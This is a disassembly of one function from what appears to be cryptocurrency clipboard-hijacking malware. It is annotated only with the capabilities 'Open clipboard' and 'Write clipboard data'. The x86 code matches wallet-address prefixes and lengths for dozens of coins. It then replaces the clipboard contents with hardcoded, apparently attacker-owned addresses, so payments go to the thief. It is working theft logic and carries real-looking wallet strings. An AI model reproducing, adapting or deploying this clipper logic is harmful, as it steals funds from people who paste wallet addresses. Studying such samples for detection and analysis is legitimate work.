Function at 0x4048a0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov byte [ebp - 0x11], 1
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x33
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x74
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x58
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x44
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x68
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x51
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x52
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4e
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6e
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x41
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6c
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x7a
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x63
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x61
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6b
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x69
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x66
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x65
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6f
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
je 0x404a8f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x404a8f
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
je 0x404a8f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
je 0x404a8f
xor al, al
jmp 0x4052be
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
jne 0x404aac
cmp dword [ebp - 4], 0x2a
je 0x404aa7
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x31
je 0x404ac2
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x33
jne 0x404ada
cmp dword [ebp - 4], 0x19
jb 0x404ace
cmp dword [ebp - 4], 0x23
jbe 0x404ad5
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
je 0x404af0
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x38
jne 0x404b02
cmp dword [ebp - 4], 0x5f
je 0x404afd
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
jne 0x404b25
cmp dword [ebp - 4], 0x1a
jb 0x404b19
cmp dword [ebp - 4], 0x26
jbe 0x404b20
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
jne 0x404b48
cmp dword [ebp - 4], 0x18
jb 0x404b3c
cmp dword [ebp - 4], 0x32
jbe 0x404b43
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x65
jne 0x404b6b
cmp dword [ebp - 4], 0x3c
jb 0x404b5f
cmp dword [ebp - 4], 0x40
jbe 0x404b66
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6e
jne 0x404b8e
cmp dword [ebp - 4], 0x28
jb 0x404b82
cmp dword [ebp - 4], 0x46
jbe 0x404b89
xor al, al
jmp 0x4052be
jmp 0x404ca6
push 0x410330
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404bb9
cmp dword [ebp - 4], 0x32
jb 0x404bad
cmp dword [ebp - 4], 0x38
jbe 0x404bb4
xor al, al
jmp 0x4052be
jmp 0x404ca6
push 0x41034c
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404be4
cmp dword [ebp - 4], 0x2a
jb 0x404bd8
cmp dword [ebp - 4], 0x30
jbe 0x404bdf
xor al, al
jmp 0x4052be
jmp 0x404ca6
push 0x41035c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404c0f
cmp dword [ebp - 4], 0x3c
jb 0x404c03
cmp dword [ebp - 4], 0x78
jbe 0x404c0a
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x47
jne 0x404c2f
cmp dword [ebp - 4], 9
jb 0x404c26
cmp dword [ebp - 4], 0x3c
jbe 0x404c2d
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
jne 0x404c59
cmp dword [ebp - 4], 0x30
jne 0x404c44
mov byte [ebp - 0x11], 0
cmp dword [ebp - 4], 9
jb 0x404c50
cmp dword [ebp - 4], 0x30
jbe 0x404c57
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
jne 0x404c73
cmp dword [ebp - 4], 9
je 0x404c71
xor al, al
jmp 0x4052be
jmp 0x404ca6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x42
jne 0x404c93
cmp dword [ebp - 4], 9
jb 0x404c8a
cmp dword [ebp - 4], 0x3c
jbe 0x404c91
xor al, al
jmp 0x4052be
jmp 0x404ca6
cmp dword [ebp - 4], 0x15
jb 0x404c9f
cmp dword [ebp - 4], 0x38
jbe 0x404ca6
xor al, al
jmp 0x4052be
push 0x410368
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404cbd
mov byte [ebp - 0x11], 0
push 0x410384
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404cd4
mov byte [ebp - 0x11], 0
push 0x410394
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404ceb
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
cmp eax, 1
jne 0x404d8b
mov dword [ebp - 0x1c], 0
jmp 0x404d0a
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 4]
jae 0x404d8b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x31
jne 0x404d51
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x4f
je 0x404d4a
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x49
je 0x404d4a
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x6c
jne 0x404d51
xor al, al
jmp 0x4052be
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
push ecx
call sub.ntdll.dll_isalpha
add esp, 4
test eax, eax
jne 0x404d86
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
push ecx
call sub.ntdll.dll_isdigit
add esp, 4
test eax, eax
jne 0x404d86
xor al, al
jmp 0x4052be
jmp 0x404d01
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x30
jne 0x404d9d
mov dword [ebp - 8], str.0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x54
jne 0x404daf
mov dword [ebp - 8], str.THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x31
jne 0x404dc1
mov dword [ebp - 8], str.1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x71
jne 0x404dd3
mov dword [ebp - 8], str.qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x58
jne 0x404de5
mov dword [ebp - 8], str.XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4c
jne 0x404df7
mov dword [ebp - 8], str.LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x72
jne 0x404e09
mov dword [ebp - 8], str.rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
jne 0x404e1b
mov dword [ebp - 8], str.hx7b6677c8f7049c2a6e9df0dfd422683c32e67709
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
jne 0x404e2d
mov dword [ebp - 8], str.QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
jne 0x404e3f
mov dword [ebp - 8], str.RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
jne 0x404e51
mov dword [ebp - 8], str.NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
jne 0x404e63
mov dword [ebp - 8], str.ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
jne 0x404e75
mov dword [ebp - 8], str.48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
jne 0x404e87
mov dword [ebp - 8], str.8AvX8Ds1eadajf81PtVvzVdiJSY28P86m3M79k89J26WQHf7oH5YGfrNAGeudz42JDfqgUpWiQfsbd2bhUEhQc4PQrnbss6
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
jne 0x404ea5
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x404ea5
mov dword [ebp - 8], str.SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x61
jne 0x404ec3
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x64
je 0x404ec3
mov dword [ebp - 8], str.aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x66
jne 0x404ee1
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x31
jne 0x404ee1
mov dword [ebp - 8], str.f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6c
jne 0x404f0b
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x73
jne 0x404f0b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6b
jne 0x404f0b
mov dword [ebp - 8], str.lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7a
jne 0x404f35
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x69
jne 0x404f35
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6c
jne 0x404f35
mov dword [ebp - 8], str.zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x65
jne 0x404f5f
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x72
jne 0x404f5f
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x64
jne 0x404f5f
mov dword [ebp - 8], str.erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x404f95
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x61
jne 0x404f95
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x76
jne 0x404f95
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x61
jne 0x404f95
mov dword [ebp - 8], str.kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x69
jne 0x404fbf
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x6e
jne 0x404fbf
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x6a
jne 0x404fbf
mov dword [ebp - 8], str.inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6f
jne 0x404ff5
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x73
jne 0x404ff5
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x6d
jne 0x404ff5
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x6f
jne 0x404ff5
mov dword [ebp - 8], str.osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x33
jne 0x40501c
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x50
jne 0x405015
mov dword [ebp - 8], str.3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC
jmp 0x40501c
mov dword [ebp - 8], str.3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x44
jne 0x405043
cmp dword [ebp - 4], 0x22
jne 0x405036
mov dword [ebp - 8], str.D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH
jmp 0x405043
cmp dword [ebp - 4], 0x23
jne 0x405043
mov dword [ebp - 8], str.DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x74
jne 0x4050af
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x31
je 0x405066
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x32
jne 0x40506f
mov dword [ebp - 8], str.t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn
jmp 0x4050af
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x65
jne 0x4050a8
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x72
jne 0x4050a8
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x72
jne 0x4050a8
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 8]
cmp edx, 0x61
jne 0x4050a8
mov dword [ebp - 8], str.terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6
jmp 0x4050af
mov dword [ebp - 8], str.tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
jne 0x405108
push 0x4108d4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4050d4
mov dword [ebp - 8], str.bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd
push str.band
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4050ee
mov dword [ebp - 8], str.band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr
push 0x410940
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405108
mov dword [ebp - 8], str.bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg
push str.ronin:
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405122
mov dword [ebp - 8], str.ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17
push str.bitcoincash:
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40513c
mov dword [ebp - 8], str.bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
push str.cosmos
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405156
mov dword [ebp - 8], str.cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4
push str.addr
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405170
mov dword [ebp - 8], str.addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw
push str.nano_
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40518a
mov dword [ebp - 8], str.nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x47
jne 0x4051ba
cmp dword [ebp - 4], 9
jne 0x4051a4
mov dword [ebp - 8], str.G35598989
jmp 0x4051ba
cmp dword [ebp - 4], 0x38
jne 0x4051b3
mov dword [ebp - 8], str.GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE
jmp 0x4051ba
mov dword [ebp - 8], str.GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
jne 0x4051df
cmp dword [ebp - 4], 9
jne 0x4051d2
mov dword [ebp - 8], str.E36963824
cmp dword [ebp - 4], 0x30
jne 0x4051df
mov dword [ebp - 8], str.EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
jne 0x405224
cmp dword [ebp - 4], 9
jne 0x4051f9
mov dword [ebp - 8], str.B36461211
jmp 0x405224
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x36
jne 0x405224
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x32
jne 0x405224
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x71
jne 0x405224
mov dword [ebp - 8], str.B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
jne 0x405236
mov dword [ebp - 8], str.U33390790
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4052bc
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4052bc
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4052bc
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4052bc
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp - 0x18]
push ecx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret